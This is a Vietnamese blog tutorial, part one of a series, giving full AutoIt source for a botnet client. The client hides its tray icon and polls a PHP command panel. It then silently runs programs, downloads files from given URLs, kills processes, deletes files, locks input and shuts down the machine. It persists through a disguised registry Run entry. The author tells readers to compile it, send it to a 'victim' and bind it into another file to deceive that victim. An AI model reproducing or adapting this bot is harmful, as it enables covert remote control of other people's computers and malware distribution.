Trở về
Tham gia nhóm m Autoit đ đưc hưng dn và gii đáp trc tiếp : http://fb.com/groups/autoitscript
Tin tức công nghệ  -  Thủ thuật lập trình

Friday, September 27, 2013

Chương trình điều khiển máy tính từ xa bằng Autoit (Phần 1 : Botnet PHP)


Toàn màn hìnhIn bài viết

Viết chương trình điều khiển máy tính từ xa bằng Autoit 
 Phần 1 : Botnet PHP
Hôm nay mình sẽ trình bày các bước để tạo ra một con Botnet có khả năng điều khiển máy tính từ xa với các lệnh được lập trình sẵn hoặc các lệnh mở được đóng gói bởi Autoit (download , upload , get process list , print screen ... ) , mình không khuyến khích tạo ra Botnet để thực hiện các hành vi DDOS có quy mô , đánh cắp các thông tin mật , CC ... hay các hành vi phá hoại hệ thống của người khác ...
Bài này dài mình chia làm 2 phần : Botnet PHP và Botnet IRC :">



  • Sơ lược về Botnet :
Botnet là từ chỉ một tập hợp các rôbôt phần mềm hoặc các con bot hoạt động một cách tự chủ. Các con bot có thể được lập trình để có khả năng tự ẩn giấu và phát tán qua internet , xâm nhập vào hệ thống người dùng và điều khiển các máy tính bị nhiễm . Các máy tính bị điều khiển bởi Botnet được gọi là các máy tính thây ma (zombie hay daemon) , các con botnet lây nhiễm vào hệ thống sẽ thực hiện các tác vụ một cách tự động hoặc nhận lệnh trực tiếp từ người điều khiển vào các mục đích đã được định sẵn ...
 
Mã nguồn BotnetPHP.au3 :

#Notrayicon
#include <IE.au3>
#include <Inet.au3>
$panel = "http://127.0.0.1/direct.php" ; Đường dẫn đến tập tin lệnh (cùng đường dẫn với botnet.php) , tập tin này sẽ được tự động khỏi tạo bằng php
$CD = DriveGetDrive("ALL")
While (1)
    $con = _INetGetSource($panel) ; Đọc lệnh từ $panel
    sleep(1000)
    if $con then
    ExCmd() ; Thực hiện lệnh từ nội dung tập tin đã học
    endif
    ;dangky() ; Ghi khóa lên registry và khởi động cùng hệ thống (chỉ nên sử dụng khi cần thiết)
    Sleep(3000)
WEnd
Func
ExCmd()
    ; Phan tich va thuc hien lenh
    If StringInStr($con, "RUN#", 2) Then
        $cmd = StringSplit($con, "#")
        If StringInStr($con, "#SHOW", 2) Then
            Run($cmd[2])
        Else
            Run($cmd[2], "", @SW_HIDE)
        EndIf
        Sleep(7000)
    ElseIf StringInStr($con, "DOWNLOAD#", 2) Then
        $cmd = StringSplit($con, "#")
        InetGet($cmd[2], $cmd[3], 1, 0)
        Sleep(7000)
    ElseIf StringInStr($con, "KILL#", 2) Then
        $cmd = StringSplit($con, "#")
        Run("TASKKILL /F /IM " & $cmd[2] & ".exe", "", @SW_HIDE)
        Sleep(7000)
    ElseIf StringInStr($con, "DELETE#", 2) Then
        $cmd = StringSplit($con, "#")
        FileDelete($cmd[2])
        Sleep(7000)
    ElseIf StringInStr($con, "VISIT#", 2) Then
        $cmd = StringSplit($con, "#")
        if $cmd[3]=='show' then
        _IECreate($cmd[2], 0, 1, 1)
        else
        _IECreate($cmd[2], 0, 0, 1)
        endif
        Sleep(7000)
    ElseIf StringInStr($con, "BOX#", 2) Then
        $cmd = StringSplit($con, "#")
        MsgBox(16,$cmd[2],$cmd[3])
        Sleep(7000)
    ElseIf StringInStr($con, "SHUTDOWN", 2) Then
        Shutdown(1)
        Sleep(7000)
    ElseIf StringInStr($con, "RESTART", 2) Then
        Shutdown(2)
        Sleep(7000)
    ElseIf StringInStr($con, "LOCK", 2) Then
        BlockInput(1)
        Sleep(7000)
    ElseIf StringInStr($con, "UNLOCK", 2) Then
        BlockInput(0)
        Sleep(7000)
    ElseIf StringInStr($con, "BEEP", 2) Then
        Beep(4000,650)
        Sleep(2000)
    ElseIf StringInStr($con, "CDOPEN", 2) Then
        For $i = 1 to $CD[0]
        CDTray($CD[$i],"open")
    next
        Sleep(3000)
    ElseIf StringInStr($con, "CDCLOSE", 2) Then
        For $i = 1 to $CD[0]
        CDTray($CD[$i],"close")
    next
        Sleep(3000)

    EndIf
EndFunc
Func dangky()
    FileCopy(@ScriptFullPath, @AppDataDir & "\cftmon.exe", 1)
    RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "cftmon")
    If @error Then RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "cftmon", "REG_SZ", @AppDataDir & "\cftmon.exe")
    $Open_Regedit = RegRead("HKEY_CLASSES_ROOT\regfile\shell\open\command", "(Default)")
    If $Open_Regedit <> 'regedit.exe' Then RegWrite("HKEY_CLASSES_ROOT\regfile\shell\open\command", "(Default)", "REG_SZ", "regedit.exe")
EndFunc

Đây là mã nguồn con Botnet PHP mà mình viết đã lâu , vẫn còn đơn giản và sơ khỏi với các chức năng mình đã lập trình sẵn trong mã nguồn , chú thích của các chức năng mình đã viết sẵn trong file botnet.php đính kèm sau (Code php mình có trang trí một chút , nếu ko thích thì các bạn tự trang trí lại nhé ^^) :

http://dl.dropbox.com/u/59972213/Blogger/botnet.php.7z

Cách sử dụng rất đơn giản , các bạn upload file botnet.php lên host của mình sau đó sửa lại đúng đường dẫn trong mã nguồn botnetPHP.au3 , compile mã nguồn botnetPHP.au3 và gửi cho victim ... để gắn con botnet này vào một file bất kỳ để qua mặt victim thì các bạn sử dụng công cụ nBinder Pro 5.5 để làm việc này , các bạn tự nghiên cứu công cụ này nhé :">

  • Thử nghiệm
Để thử nghiệm con BotnetPHP này , sau khi các bạn upload file botnet.php lên host và sửa lại dường dẫn thì thực thi botnetPHP sau đó vào trình duyệt gõ http://hostcuaban/botnet.php sẽ hiện ra khung nhập lệnh và bảng chú thích lệnh cho botnet , sau khi command lệnh xong , các bạn bắt buộc phải xóa lệnh vừa command nếu không botnet sẽ thực hiện không ngừng lệnh của bạn ... xóa lệnh bằng cách để trống trong hộp thoại lệnh và nhấn command để tạo một lệnh rỗng  ...

Ví dụ lệnh :

 Visit#http://raito.comli.com#show sẽ mở ra trang blog của mình ở chế độ hiển thị ( bỏ #show để thực thi ở chế độ ẩn)

 Box#Yagami Raito#Welcome to my Blog sẽ hiển thị một hộp thoại với title Yagami Raito và nội dung là Welcome to my Blog

Để thực hiện các lệnh mở được đóng gói bởi Autoit thì các bạn sử dụng cấu trúc Execute , chỉ sử dụng cấu trúc này cho khi các bạn đã quen thuộc và nằm lòng các câu lệnh thực thi trong autoit . Sử dụng Execute , các bạn có thể thực thi hàng trăm lệnh cho botnet mà chỉ tốn một hàng lệnh trong mã nguồn ... nhưng đó là vấn đề sau này , khi các bạn đã nằm lòng được một phần căn bản của ngôn ngữ này ... tự khắc sẽ hiểu ^^

Phần sau sẽ là Botnet IRC , con này sẽ quy mô và hay hơn nhiều , các bạn nhớ đón xem ;)